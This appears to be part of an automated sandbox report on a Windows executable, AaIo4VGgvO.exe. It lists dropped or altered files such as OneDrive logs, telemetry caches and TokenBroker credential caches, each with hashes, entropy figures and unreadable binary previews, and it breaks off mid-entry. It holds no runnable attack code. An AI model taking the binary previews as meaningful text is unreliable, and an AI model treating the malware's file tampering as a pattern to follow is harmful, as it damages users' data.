Preview:	1.0./Q9m_G._J.p..N.)U.....%.79,.4p.T..V....R......g.n#...J#...`......Qh..:.0........FH...YTm......E.vN.el_..N.H...F.h.an.B..}.L.r.-..$.c[3...EM ..<>[w3..B...\|@.o .A..K.#.usA'.....2.G'[..?:.C...$......c.1O.t<p.6,..@u..P.=..H..:x....r.'.FG....D..D.m...+4.....9.F...i0.F...!.....v.....'.;.FC\..c.=b.U..Xt~.N0...2...H!%.!..g ^.~a.).(....\B........7.j.<.......D.e.'OO..9~.-d).[._Q.....J..H.A.4..Z....I.Pc...Y<g.)(..}.n+h....VF,.2=0..I.G.[Z8.e....RM..B`..<......-.S...P. .PDNM)..s...6..!;6.Ei.U...}.a.p.....4.<...%....0.W........[.l.V..........e?.<.......ow...gR..\| . W../T.\|..:...(..N..^...o...q..Ll..6g...?[tg..U}a.......5xt.D..(...........j.$.2.\|2...N8..q.\|c.3..ka{F.r..p..+........R-X..A....^F..6..w.grrm...xv.^......B..sf....\.d..r.........e.....f1$.H...:......7..z.I..C..rP.R......R..j.>...{....zZ.2;>...`..`....O.5.....s....q.l..myV..m@...:}..$b.k)d...W.c....u......,..[A.O.P.<..L.m."..V.Q....$3... ...=S.#BP../..?..&......Oz.H "=Q.;...:.....k.,...)%

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115740_6260-6264.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5748707392295495
Encrypted:	false
SSDEEP:	48:8eMNocnV9UWj0c73nDHvskDCPfCwTXxsHzScTdKQEWImNomejUwaLz:8eMNocVSWjb73nzDAx8SikWIm2m8C
MD5:	9B8A9BE679AC6F337765ECBDC4854DF1
SHA1:	9A5DF56B5426183FA1462A2BF85A9FC1E8058545
SHA-256:	704A5118F6DE25FA9DB8A8EC8CA665A1FBD257D532E95DF5650EA4D088822C0B
SHA-512:	C72B689CC2D11150190BF31EA88D9B376654A37280860ED5282D30334142BA03D2B471D462909F618DCB88722CC8EAFF42DE1E7482CC244180B5F50B4077AC45
Malicious:	false
Preview:	1.0./.l....}.yz..}M.r.I.........'4..H-...$."..O. R.......Y.@..n...p...._6..,.Z....B4.h.>}.......!..... ;.\@Zvv......u..9.......U...-V...~...(qv....#.q..b&<...Sg.=.mEkZ......X.8B.KJ.O..{H.NA..RP.lQ.[i.H. 5..0..f..6An.<2.lS...jK0.....p0...0.j...[.._..'.!:n..E.[.....HwI...[.-$P!.o..J..=BWm.P.7%.i.S.......o.s@.N.$^Q"..7.-'..j.^2....R..e.....z......d.R..e.S.bR..Y.;..\|.;~16...w.e.=uJp.W.&H4..>R..-..H.a[_CK.#\.....-...e..H......9......iL..U.P.-.....:......w.q....o..rr.j.PU.jBcf?t....6...ah....I"...^Vq(.Uo.....8..q..\|...E.lH..#.53..jE."...Ox.......)..h`..].I%.j6}w.Q..jj.{g.7.oj{.a.'.p.m..D.>.a(/.sy.t.X.\..[... l....... U......{.~p.....$7....Ej.....#.Nd.."...9(.........c.sX.k/..C.W.Bj...Y.nIa...i....[sFU.=..,.(...:0.!..3._.@.........:.....3..z...v.".<"K..A.r,..ab.b}....[.A....).S.Jm.h0.+....oD!..J`. ..9/.o_.&.v...ma.^...fO..A......$.....$BP.w..s.#].?.ZD%..c........%ZM./...$....U...~I..*('...U4$.6.......}..v.0....o...E..a.?iB\).Ni..T.D..g...K.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.725388157016971
Encrypted:	false
SSDEEP:	384:fNhRJhqFnxIc71qu7UTqtKzS3Yho3HdI4f5/I3ziNH+bVLHZb1:fvR8nxIAP7FtK+3YhWHiwtmZ
MD5:	DB792023D0C2D5FE1B226C55D9196DF4
SHA1:	BDDFB79F7C755853947AE4C17755CECD40ED7A35
SHA-256:	C315528D311A6754FC33679CA784C68438D9C43102573CD38049438B76A6FF7B
SHA-512:	4C43E52E255AD6F384B50773A0BC553D384E01C064C38DCDC1A143E9FEA482E984BFC5835E5556A594A4A514A90243DA78A2BE717BD5E0F087EF8746CB5ACEF1
Malicious:	false
Preview:	1.0./.......M.f...aG^.8a]M...y$..+..43"j.....K./...\|O...7.N..'..m/....b..'.N...u`..t...q....?...-l..+,v'.YeE.7#...U*...g%...i..e.0...q)...x.y.u..x.Q!<.X.Bz......j.s...:B:3..vB.I.._...X..J.y[...#<...f@x...p:+...`..l.A...LB.u.+fM.I..=JW$)I...1...7.v.if..>.~.S..m.Xe.d..6...L.FH].)g^.c..I.......&d../0.V..X...l#..E.w..!.&...H.!..)...O$..ta.D..`..qj......-.f....x..u.c...J...._t..w..N9......0...Hb......z.SQ........i;....^[`......Ff..k...#.[..`..)...X..K...:[.N9..[.h.0EK._..]....=Kz....xx.........b..f....?.T.+.....K..G..!<..\.[.....B\|G.........._X.sY..9..1...../~.(.A..U]..e_.rh.7....l>..O\|......6au..b...?....F.W...(.vd.....Uz.qqo.....-.....E0X........ZL..Z.9 ...e....7..M..z.....6-gr4..}..{.yJ..=j.....a.%......'.2.....D.....D.Z..;-.,z....w.w...Q.l..^...e.............sP.7m..3.L.4...e.t...g.BX.R....3..Z.@Ek.7.n...=..G...k...u.....x.{.x..@mo.b6^.o..-t.FX.Y.q.5.y6.. ...I...v..U_....-...@4.KO.......U.X.{.........-.....O.....H..h.XL6........w....H?:....?>.'s....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.600394640986491
Encrypted:	false
SSDEEP:	384:37A2KkJYH2MqveR3jSTaxgItinNMJ9ZngFnAA6Vwn6zQ:LtfJYWmJeQsqKnV
MD5:	F89835ABFD1670A193BFD8E00B533E71
SHA1:	5CBF4E2A6961BC73592D57587EEC3A01633226E2
SHA-256:	DF64F8CBF0F79F15A621FDED271C8EEE1AC4489628032B512F9BDE40EFBAC8B4
SHA-512:	472EB30D7313502D91EE663D09890E1843CA20ACCB4B3C46B10776FA4A10D2115E0FEA613DCF56D2C1E4A52C4F29745F089C650D3903BE192AEEF449B5A1A5F8
Malicious:	false
Preview:	1.0./..Nj!.:.&.X@..~Rc......(.........3._.(.......4.(...$.B..V....7..V.T\.4ii.V...v.67.'...uN.... .m....6v.v.U.!wM.(X1~^.....~{to..B.!..T...p.>...-Bn6..IX...'.N.G.....]....2....qC._..D.P..z.\|=[....#.g..@A..(.iF......w\.'Z\.......R..9\|..G.W$...X1[.O.5P.p\|L(.'...'..Y-....U..obgJ=y~'.F...f...a......3l.)Y.f.....}....[N...m~Xe...\.O...Y......t.\..D...%M....fX4l..Y..z..K.uNx...:....;..<.1\|dy..4=b.1,i..]Zp.X.f.M.....,..T.....s.,.\|\|C.?..6.8.........l.6.M..[.........^6{..M.....f.C%"._..G.B.)..r6...u.yy...a.=G.f......s.....].;..a.`dJ*..N.k5.L..."..."......?..K..-j.........{.#6.ks.X@..p,..h....O..!.l`A..(.x..(.....q...W....i0..7...,M:.3..)t.<3^.}..W`.._8.D..A..j....6..4M8NM....-z._...6..6...WZ.XO..4..>.r.X2..6......J-.\..K.I....s~.P..)k$.!R.@.R..?....\.!.h.K.i\/.n2....d,K.eF.....$..../3a&\|............;).([.....E..L..p...B....C...%x..[...t..C./3...N.>.;..a.~.M..f.h8.o..V.M.A>).=.M7}.1._1..V...K....+. @U>..Q.I.....}.#+h......o....y.rx\Th2...,

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.377682042876986
Encrypted:	false
SSDEEP:	384:MjRDWEwcEP3kEEnKjmUPikB5w68d56hq8k:MjRDWEUfjEKzLB5Ab
MD5:	C630FC944853E874DFE09E5B609F719D
SHA1:	A9B8EC734184CA40463947CB0A817418B8446673
SHA-256:	E1D4CEDF1B9CDBD8843899BB981C27156C67C5037C71F3F0EEDF5DFEFEA9CECD
SHA-512:	18AABD6E82F08000FA8F56B810011A82EC47A24916DDBD9683E2FB68783A9CB49AFC0A4C0D624CAD4807EC0D78B80BCF9D3F2C34AA7312A9CE4533BB61CC8BAF
Malicious:	false
Preview:	1.0./..g..wo=#c.1.d....\|Y.U...{_.p0.I.a.B6..]z.k<.rA^P.#s6.C...hO....,..&...'rv..^`..{..8.../.[..'.i.KDNP,D....[.r[....o...hB..{z...S.^x..P.4p.......l.).n.V.G.+.e=.y.__.#..]..S./..S...k.vI.k<X..>.v\|....tl.............b....1j.t.W..V= .......`..ja%~.]....$.&...q..[oa.G+X.G#...:...&.....U._..).\f.[JY0....%....V..gk.."?.%9.o0-?<\.@....~-...W~..7.d....3.)"..........Ev..-\|t..H...>,.@..hKP.%\|..:.aY. /^..5...7..u.X..f\|..G.. ...)[U.1.....h8..'.h.......H3..........B.w_a.3.o.FCP...2.swklF<.>.......l.oI...n..jVCa....w...LQb...>.T.........5z+..z..kd.F....e.7....M..Z#..%5.E...N.4..J.M....L...Kx.\|XjN.a$...H.uz.p.".A."......*..J\|.v...HGI~9..IF..z.e.l.F..... 7P...j..g..:6.+._....2....a..u..k...@.}.0."<..F.ZKUV3............\.D[.E+..kH\.....v..+.........!..Da.p..+C..v...._..^(.BU ..x......b{..b......X..s.3<o%o8.@....M6P...V.c.d.H.D..Wp..._u....\.~.....z...s..t0/..8V..............{..7!A...A.+..5lnl........E..h-ycS..vx.=g..b....1#...M.......Z...Ui. .91.a.g..g..#..1....T.P...M

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2020808194724473
Encrypted:	false
SSDEEP:	192:XWWdW2f+fGKe2Ue5mlh5FADVMjkhYt/OLS:XWWd9+f0e5m75FAD8A
MD5:	83B8CBDFC3CF805286C6D3943B44EFF7
SHA1:	6ED9844D01C8DAF4020518A3C8AA323FF588F271
SHA-256:	DD5E9AF6C959318C13ED5299BE6F5E3D2EDF0DA31154D3C3E2C7A756342AE219
SHA-512:	401D1DA478421424680AF629FC88DD789A4029410B0B0FAEF10E19FF816719ACDD2336A278505268DC5E2CB8D1F4EC85703C405EF6C4D07EAE12D7B5366037D9
Malicious:	false
Preview:	1.0./.0.@..8.f...k.....!....vO[.C7.FPY{^.....3..2..=5...9..J..1...uJ...L..zK..u...6....I...e.;.....g..y......cr.{.....'/'.s~.8...M..oV.~.k.T..Z.J,.+...?.pI.d.....WtT..R._...Y..'{p{..... .+yJ....i.se3.Q....))....2...S@.W........J.].[`.c.....A. 1.k..[...^..a.z.(...R....R\|.\|. Sn...EOu.@....K...'..b.NS..Q......y..r..Q..... .2a.u.....%.d<^.....Z...).!...?....f....'....,R..j.!..9ij.].5.f\...y;Y...6.....6.^.W.....g.=...q..0..^Cw&}.3.........AN$?...W..q...;.)jy...T=K.x..{..h...wY...F........Ul........A%...G0wp\|..q.1.....R,.3......=jKt...]".b4E....&.>SD...B.=....t....9.....W<.j...@.cF( ..6c~%.?.....9.O......8....z...`R9.Q.)...0,..ln..W.=.R.>....HM+.7=...FZZd...$.RI..Q.b...=.>+m`)7.5.....M.^..g....d{.z.LC..'?..^%s....a.{..............(.........+..e\|..%..&U....%....HM..W.(.G(....}....N...l...,h...PLH.x....L.D-......E..7.\(.....D...../...b..G\...b...s..js.U.s.......-R...a*...B...o....w.)\.}..Dy.WJ1...T.I!.d.c./>E...&L.....`.\0.,....,B.....W

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.764214079306192
Encrypted:	false
SSDEEP:	192:8lQl7ao9L5GiFyce/hOg9y+DlRiCnfKO4l3iX3qgUF+:8ly/LMiyr/48iPl3iXagUM
MD5:	A1FAF015B2887A66CF0BAC40C52966A2
SHA1:	829EC74C0006387E2F564A0BAA6AC8BB57D8DED4
SHA-256:	C27581471CF382A2BDD8ED00F7FA65102B4F785882A6CA971757C925B1C64C80
SHA-512:	35F081B1F9BF833CB79CD821FBBADD09A12D5C455656829894CA486B1E66214927F021EF74F4D8AA0296D4243FCB59C110D2AD0654AC2151B75976A752F33EEF
Malicious:	false
Preview:	1.0./.-+T.(.p.dmVL.z.K..A3....'W..gD.C.0.{...U...K;..]25....yI....#..t........Hg3...i.\|.B.....Y..{.P......:...v...2..[z..C..Xm......Ur;z....)..)..N.b........).t....%"..`[7....N.t.-.I.S{f.......b...i.._.&..#.`...=.D...%.Xj.3...A.m.\..^.7..+..<....@..A^...t.a4E.,..o8.2f'N.5.vL&?..~..(.a...f.......!..s......y\|.._.<.y{'.F\|OZa.......m."....Z...d~A."oM...5.+.....RX..z\.L?....Bo.J.......=.R...f@ a.r..L.......nG/..J.D..9.`.fg..^fH.s..b...w.r..>..G.._}k.R..{9.qQ..0U..}. ...3...B]HiU.h ..G..@..%=..r5.#.X+T.........>...Q...js.7.r4'v%..&$<.Vy.n.....`.\.)...I...Z.......%....V.$.-.T1..ZUr.....]5.\|x..H...?..&Y.`...>.4L5...d5Q`$ZC.7k..A.Q..o~G.w.:..8.......s..Wn{.fKpOS.@.oVw.....$Jn.i......(u.cZ......n.o.........HP......2..0g....-...!.e...s....2<.j..BK.1S^..y...F.NIc.Z ..kWN......x..5..'..-..2;..)....N.v......<......{3CL.R...q....U1ZG.yh..~.._..h.%..q.Vv..=.#%.+....W.......l.Tj]6O...8...$.oW..f.)...,...w....WYvPc.>As.........g*.7.....Hr .........

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4240426030608617
Encrypted:	false
SSDEEP:	768:8vKts4vdrUznjp9ePT+Xg35OVCTiaE3lH:8OvZ4Nc31THE1
MD5:	AB9B850B5555111D5AC76E7B5FF720E5
SHA1:	69AE3C710C43A8E914002F072524050C42F37AB1
SHA-256:	295B244D49730ECFCE5A2F07B3B28CA2664F26D0FC02B8FF608B253B40E7674C
SHA-512:	F5758E74C7022F2353A5121A996D42B68CFEFF4B65F6DF1CB4D94A3CFE6B9D1D8AF64137D0EBE734382EF5C35DD281E76EBAC23A3D6397A73F1B3582A1E291B6
Malicious:	false
Preview:	SQLit...4Ag.O!...(.O....@.Oa.x.....&P\.<.?..V%:dNP...o.$.u..4.,...n>W......u...v.?...?.q......{(.....n.............7....(...y.O:&$.._.2....G.V4<)'./...:%.C...\|.'.K~....@..!.....o.m.iPA..@!7..1..~4.-g$.w..d.\|...i:........r...<..O..A.......+......o..-.V.~....k#.2.F.6...=1T=....9.$..".a.......x6l....x...+g.#=k..$...M_{..!...'.h>0.^ ..Q.w...}.'.y.......<.0.....CK.....f...4.....u0..Y.y..(.=.]/............?...U7?....l....g9......O@..E.t.}..k..HFFW......o....%.)Or..Y..uE\|f.UcVj.w.z....a.\|sA..r3...;h..U#..V.z'.p.........7..t.._..........aV........z.G...2..RwJ.";B.%.j3dx....:.Oi1J3..(c.A~..r..=.....8Xt...t.Q....~.ZE......A.J...gA:.....-.<..6.G+...p\.V.i.......$..R...}..9..S..qem.F@%..&x..;e..b...y....b[.w..j.g...qgN...C.`.M..D....P...T4#..o<X..)\|..\.4...Q._a.....^.'.....}..S.3s.....=.RI...I.....Y}56}P..Q.:...7....?.).V ..K-&.>_.S}.:..Wc..cCs..._../Y>.,.4..j..b..W..nE.Z...N....lp.:"..^vn.j.a.f...}..j..}<.\m.G..k..&V!.~..)..BZ._..l......

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4268269525612793
Encrypted:	false
SSDEEP:	384:8HRrO+mhOBBNU95Px3Z0deOz139cm0EDr3JMgDfKWFH0YRxCUyw4:8H1moByxaRVVKWFH7xCUyw
MD5:	0BF51DCA3A9633C11F6EDCF8250F3EF1
SHA1:	4E41EBBC69B97AE7EA67E2B508AE016BF2BEE37C
SHA-256:	7D3A45CA609AE032AA15522D0D46608E15DF03E61F39AF5FE64A64D6FDDC54B2
SHA-512:	8882A691F3B35EEBF7AAFD9C9636E0D5105F6C1E3B00766B86E7F3FB452F74E818E4FD8FA2D1E0252E243A54A496AFB6055FCE8C701AEDDDE64889C309DB26E4
Malicious:	false
Preview:	SQLit.i.........0....qp..c..Z.}..=.?[.Rz.....n0..<..D.b.^..f.=;.....j....~...a.R..04.Dj.v...93.Q&...7.!..t3.....ua.,.E.nOi.^6.D{.YFu3:".s...h..?..bH..{......e..M`nH...sM..US.!...V<Y.h.H3.;E..tL.;G.er....:$lg..QtA..Y...8...P.._...0vW...f.....37..u.t5.u.ka[r.g$t.>X[..m.q.+.P.].X.<K....#..i.:.:......a`~Yj.Pp#.F..D.Xt.&..)."...g...3.X..u.....%....G...%..M'..f.-.6..".n..p..+.a8.M0I[......K.W...4+.<2.....1P..c..T.N...;'.,.c...N..8.v_......a........P.3/..Wn......{..K......5...i}.$..2...y.o.!..6..@.\|.9..\...y..Y'i......(..X........,.n.b..x..bW.C(....<8_...g..e!..R.R.?o.q.btJ.:.....Fs..d...'n..-.....7.5.J.........C..9g.(. .Q.m2tf....N.....w..E&..`.@.).h..t....$..!..6.&x..;..7`.hmGD......f.=]>...O...&[....s.%..%i.*mq..=....bI.+.g.z.......AY.....'.'.+..>....:....'>#?........yW......y.4{~.r......1.....Q..8.>.M.......-,_&.Q.v..R...........z..e.le.].0......JeQ..s..KE.I....m./;...}..ui..-..Cl._..I_~..,.a9..T..``J....oe.....HF..Hc\|.......f{.?..j..r....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.6633654214712257
Encrypted:	false
SSDEEP:	3072:WsBarFVQEAmtIgCN42EyFA6ag4Zya1hDIMs1zo+ivX9PTHXyRZRV:WsBarFVXW4BS944azk5ivX9riRZb
MD5:	FB795E850DE8B3F8253051B54A3B1C97
SHA1:	E0B9D023C004C2E6678CA6809E1BCE50E0D95BB8
SHA-256:	2CB34240B04F7AA210D087AAAA4157689D356210614949AB4A48DB3E745266BD
SHA-512:	048E169DE9443290C3D2A932A8C873BC2D0E2F8F6A3342E6D90A8F3F19AE8F84408D72645AE17C9F9F2BDA86911FB8462069540567D9C14869BA40DA150997CB
Malicious:	false
Preview:	1G.f.X.R...Rv..~...B.K.d0...s/{.;,...X......Db.q.....\|H...T.&b+....%~..~.)R.\|Y.Bf....!.Ixj<"st..[..Sm.h...W((6..._52./..'<'.........F.u....@x...T..Y........z....:.....mf...+2:i..,Q..4...pU/S...1R.2.......??.Y.bT.[z..o...;.Ys.z...Y4lr.Ov..2..1..b>.=....0.Fw..$(.e.-.0..R..5...72..........;-.N.....IAJ.t?..CK...n.cC....^`..rv.>0A..,.g....Ez.5;.V}....\|B..C.<.o...{.@../Z.3...c.Z.o.j.....^A...0.Y........E.UEHt$.m..H.3E~J.5YqJ.D.f.4h...e.S...pW#.......j.....<.[...j9......SQ6.(....-......F...S.&@.6.........,....I........w.h...#n........+...n.(I&..;Q...wA.........G..9.........i...ZW.\|..q.SZ....nH.I.7..gw1..Hw#I....2....3...'.5P.I.2.;5..g.U<...p.B#...@..S...k.......}].&..l.=yk.{a....F..7I"..w..h.h..4y.qo.#..4P...\|..../.v#.&.!EU..x.>.+....r.U,....R...~..)^L{...iMN%..#.]0....4.......=.d........C.Z@.QD}p...3?..L..7..o....{.?.[8.."w..kU...2%.<0..'.A.;~.a.l.f.p.8.H.?.....f...R.(ie....T.*W....Mc......U.\|..)[.mpeO......z......S.Y....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.426286029698217
Encrypted:	false
SSDEEP:	384:feSetynOf0zWc8YhsCenxNdJ5ycZodcLp9Qqq78iPDdfcPgz2hUaw:fRetQOf9zYhsrJ5ysLfHi7dD
MD5:	6E9F6989F2F2413BDF0ED72C0E9A305F
SHA1:	96A307AF6D24DA814B3FDFA3C86120CCA2E687CB
SHA-256:	E1E4ABF3E25A6230297D7706D677ACFDCB596CD22FE6F3954B868C4621B0153E
SHA-512:	B285869DA715054EE8A37D17E2E861988814733A341C016EC0A34417363D803AEBE11D3A785F6E95461F1A664F70468AC3EF6E7893292975B183D25D0CFDF0AF
Malicious:	false
Preview:	SQLit.C~/.H../....r!...G..U.t.+......s..=......3...A.........t.._(.)...H."p..U....tI.5..._.&.F87....s.Z.... ...4P,.`g>}...f2...M<..[.?..r..O..`.....U.5`..b.....,w..p..h.{...;..PE}<.F:..3...i.\|..7....-.M.C...z.7]...3.....H.x.oXmn4Q..ZXQ..n>...~;..;.3....;AU..o.Pt/.....Y..?R....9.....c.r.ZK...~.'MQuV.5..].d....}..y\|....%.2.,G.M..-C M..R-...T...%p.........,Y.....j.X9.........e....1....R..4@.:../I..e\.Z5...K.2..j.....h...7.S.....s......5#,#.\|.....Wt.....(.b-.o.........W.DM.....'..E-Z.2..\..0.......(...~.80-.....^...g..r$.Jh...9...X.M..R.Y..5.#.b.Z.DU..l9.w;.r.r/d..w..I... .)I:.z..y>.S.U..'....I.........>..(.[...6..q....\..d..6f0.t.(......$.1..z...c..D...9.p.3..5..[...W.../t...............y.A.^..(.].O...E..D.Z.+m.eH...A.v.!..E...,...b.8Y..q./......g.#G.........+w...l.I.G-..)...........`........[aE .V..>...9}....7L.q...zO._.^K..?/...o...N..A1.`....x.......{.A.f.x..cJt28...h....."..YM......k.3'.',N6.l.OS.SE\|.....g.1Y\|.4.6.V;.......^..r....?

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.850612536769241
Encrypted:	false
SSDEEP:	24:YBXLJPP4WXE47ZFN6BqRdug9hNcGcAqp3Pw/11j+t89+y6qTplGkQbD:YBXdBU47ZFN6gdugNjGI+e+fD
MD5:	5CF4C59842426890F1176AACB8FE5AB5
SHA1:	03E9540889CF491C82145630EE7AA41C5F131D86
SHA-256:	A9EBC7F841059319EE03C0D591883D53109A1F45C164A7F353699BD187A8564E
SHA-512:	630A230E13DF868B22C1E8428FFEB0D46EA1DB89D26A63EADEB7659CD6932B6BF34DFAD7ABE05375A73DCF247C5398B28B56B483F66F1CC75E17A386BC6739CE
Malicious:	false
Preview:	{"Rec...m...\|......./=b...p..4q...k.<......}`d..@.%.....:_f.CW.A.M.q..\|...K6..b..../.G...rY,#]..C..l..:..v.tPn...f7.\).XK....../..a.]r....@.'fIq.@....z.S.......+.M...2T.-Lb......N`.m......@w."_i@..9O.....Z..z.......z...F...`.S.3....a..T....\...C.oi,...5&....?...r....K.t%....ko4.....0..H..z..Z...H.R..9(w.9...l...u#.`....k.v...>.....l.e..o..=.k.U6\|..}.1`.dP.}..n/=TQ....C.sK-....6..5.....;....78..a.<.\|...0....3M...Q..C..z. .Y....T.(.&.6y.e.....C..X....\|P...s..5{K..T.[..0...[..0.Z..-QX..f.V...~{)a.b`IIFe.a....bg...k..rD.y....RPv.....@..f.,S..z.Ee.@Rb:.s.....<X...fFv~)E`.....R5(...u.0g.k.z.;Z.w.).h......DO....BHW.....12..i. .! .a...y..l5.....5..5..RS..y\.......3....~..E.Bf.K....bMTi.....[8s..r.4..u..Yz...LWN..'..`v........#...t&...l....o..8.@.~..~z..u.r.......BnN..}..T&L..........dO+..U...w.#q_r.........B..\|G.(rP.a....\.r...8~...Cfmf..}.H.........P$.x.Z...i/.j..`..nU...Ze....G..u`..^.6.......Qb.ho.v.z.....'.......2jj?.0.....P7.b.i..r..5XA6X...

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.927644036103837
Encrypted:	false
SSDEEP:	48:1I/Ho07WG9RtVLAmMqVMYNmwTtdd8HtK8HKTpoD0c0ID+jgSrf74O7atERzwTkN2:1Ko0KG9RvLAmMqpNDJ4tK8HdD0c0SpSg
MD5:	A73F1656309EFAF7D629AF77EEE48C54
SHA1:	AB84C0E76629A1BC2852613E0293111AD5C6EC1E
SHA-256:	548F0B4C877AFC63EE396C19A2290D6661B75F5B0CD95E33CA8C1A1D5651863B
SHA-512:	BB888969E93A87FCFDC6C82935C1E591B27D2C00B580554BE561C123AD46C031013CB86DA97D458273547566107B793DB0A406CE034C2620B9B1140DDE145874
Malicious:	false
Preview:	{.".T..Z..V.U...!..X.}......_..w..I].0...J..,.#...o..K._.(...jY...$u....,..N72Z....g.o%.....6pW%.~..n...Y..;.....}(..,F4.)N....K1...! .W......,.kf..FHL.....m.35.w?.....[A..zA.Qgx~Z}...XMR.^..S.#-I..!.....'.I.d2..A..@d.d0......>.+..\|.N.%.6.......U.@.W.\|{..@E....E-...c._+.(!M......._.......B.x.....V.RF.yD..f.x`..u..X..R..2-..u.m.t.m.'[.....kDv..`Q....D..O.W.....!~.....7...U.;v...3\|..}gwo..........E<.{...g.je6N.i.A.(..S.....loX`h#.n..tf?7..v.....}../......`.[.pT...]h..J-..C...=..6.....Wp..4.7?..\|......(..qUo......>.....;..g..n\.E........!G..h...6.y.k.6Q...7(1.].......ay.>.\..2....r..M0L.......].y.X.B..xr9....P..9s^..?.LDh(9..~...u.....M.B.....n...*...R...Fe.K..T....../-....mA../..H..b.bw.p.~..:..p.......d\|..6.i{.\...`2[tsR >...CA........3...dp..'.....Mf......M..S~n...R.......Jy..G..r..}.N..J....L...."..C...i.%T.-orT...n,..}.z>.z;._...hz4..... .]~..Dx....l_.......B.....h.4.P..RvW..../....]..G a9.r.;..W,.S..O....^J...F>....'.+......V...

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.941200854213864
Encrypted:	false
SSDEEP:	48:u1TxsCa3oRdeq4G9Z4+qGoU/TJd0zb8t0lEijNUNgpp2XlQp/SZZE8urdV1s2D:YTxsCaQeBGz4I/TJazEI/jNGgpel2/Ss
MD5:	930A4C357CAF2E8BA6B42EB825BEAF1F
SHA1:	0BC1CD172675BDF6BC9EDC2654DC16464DF5A2BC
SHA-256:	D63618D2F35A34F498C14ECCC527D0110F15D502B1C3DDF9F52B7C670AA94040
SHA-512:	D5454763635ED97589C03844CB9054B4B3B98D1E53324A5A37070C6681DEF274279B0833A3B73E27D5AEA318EFBACF3489E4F00E8431F05A17858187FEC1BC68
Malicious:	false
Preview:	{.".T.h.<)l...b.E.l.s.. ...V..U.q^......+[.5.y.p.;..O...B.%.......~M.a;.N?4..5h.(.t.>..m......A.....T-:..F..6..Xe.,.....f.O.Of3.^;.[(N...E(..E.DOB<..!...H($y.W.R..^2>...W..3.....~...W........l.../.A.T..g../...t.r........6.3...'#?.^.......:J........mp8u...2..f.b..........yaCl..t...y3.q}.&.-g...nm[.&<.4F[.8..'....{...]6....r.....J7...>.t.x!A/.!3-.6.=c~.../AY.B..........wLp=..^J.\.H.#..o.q.A..{....aIr..2P..Y.Zb.d.."...{..w..l...< ..D....N...p..._:...(.x.i0..:' .f5>@..lu....1{,xt1k\hP..6H............!.CR'.I,z....h..C1.....2..^..!....xG6v(..1\.^..q...'...1.......0m....h.g.@J>n...iF9.,AC..uf#.h^s.^;..S.z,...<..^.z>.G........d.W..;.:..)..a..3...I......!.l.O....EF..!....7...W..?X...4....e\%.].v.v9...r...,.+....i......[ .W.p..uWS.x~.._v..Se.g.o..(Y.*..."P.7.zZ.F.Q...e..i.^...IF.I!..Pn..2$..=PbbAM............_..[^.i...l...r.+.y.2.M........95.(b......&.z.q..H...5R...YX?..".G.t.hl.._.b.....q.Z..f.y..[.$..P.{.nA.. f...vtQ.!..Y.Iz..c.}..6.If..W.]"L

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.964803837626623
Encrypted:	false
SSDEEP:	96:Ns41m1IDQfjOTDupo9bbyutvLbH8bdvKlANz78Q/ARVfWTK:Ns481IUHpqPLv/8hvK2NKVfz
MD5:	DDF21868849FBFE08CB6CAC5BF3E47C0
SHA1:	6F6E6BE8E9CA2E185B47B820868982EC2CEA39B3
